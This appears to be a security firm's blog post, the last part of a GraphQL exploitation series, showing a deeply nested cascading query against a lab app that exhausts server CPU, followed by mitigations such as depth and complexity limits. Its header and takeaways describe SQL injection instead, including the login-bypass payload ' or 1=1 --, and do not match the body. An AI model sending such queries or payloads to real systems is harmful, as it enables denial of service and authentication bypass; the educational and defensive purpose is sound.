Resource / Blogs /

Graphql Exploitation(Part 4)- Resource Exhaustion (DOS)

A look at SQL injection from inside the code, showing how string concatenation, misused prepared statements and blacklist filters create the flaw, and how to fix it properly.

By

Manmeet

March 31, 2022

8 min

Get Tested

Device, firmware and APIs scoped as one system.

Talk to an Expert

Key Takeaways

Concatenating user input into a SQL query is the root cause of SQL injection.

A payload like ' or 1=1 -- can bypass a login by commenting out the password check.

Prepared statements fail if input is still concatenated into the query string.

Custom blacklist filters miss keywords and mixed-case payloads, so they fail.

Use parameterized queries with placeholders and bind each input separately.

Stored procedures are another safe option alongside parameterized queries.

Reviewing source code catches SQLi flaws that dynamic testing may miss.

We have finally reached the last part of the GraphQL exploitation series. If you are visiting this blog without going through previous parts, we recommend you to go through other parts as well.

In this blog, we will go through another possible vulnerability on GraphQL Server in which GraphQL could be vulnerable to resource exhaustion. Because the client has control over the amount of data requested, it can issue a GraphQL request to a query that causes resource exhaustion on the storage used by the GraphQL server, as well as on the GraphQL server for data serialisation to JSON.

This vulnerability not only affect Query operation, but it can also happen using mutation and subscription operations. When a large amount of data is sent in the parameters in mutation operation, it can cause a high level of CPU utilization at the server end to process it. When we register a large number of subscribers or send a large amount of data in the parameters using subscription then it can also trigger a high amount of CPU utilization.

To demonstrate this, we will try the same lab.
In this application there is a link between Dogs and Veterinary and vice versa, so, cascading calls might be made, producing resource depletion at the SQL level on the database.

Let’s formulate a big cascading Query like this.

query dos {
  allDogs(onlyFree: false, limit: 1000000) {
    id
    name
    veterinary {
      id
      name
      dogs {
        id
        name
        veterinary {
          id
          name
          dogs {
            id
            name
            veterinary {
              id
              name
              dogs {
                id
                name
                veterinary {
                  id
                  name
                  dogs {
                    id
                    name
                    veterinary {
                      id
                      name
                      dogs {
                        id
                        name
                      }
                    }
                  }
                }
              }
            }
          }
        }
      }
    }
  }
}

When we send this query to the server. The server starts using almost 100% of the CPU as shown below.

Remember to exploit query operation one must find a relation between two elements of database schema like here Dogs and Veterinary were related both ways.

Mitigation

For Query

The GraphQL developer needs to know about the security strategies to avoid such exploitation on any type of operator. Use the built-in protection offered for Maximum Query Depth & Query Complexity, depending on the GraphQL server implementation chosen.

For Mutation/Subscription:

To limit the size of the incoming accepted data, use input validation.
Limit the number of subscribers at the code level.

References

About Payatu

Payatu is a Research Focused, CERT-In impaneled Cybersecurity Consulting company specializing in security assessments of IoT product ecosystem, Web application & Network with a proven track record of securing applications and infrastructure for customers across 20+ countries.

‍

Get Tested

Device, firmware and APIs scoped as one system.

Talk to an Expert

Author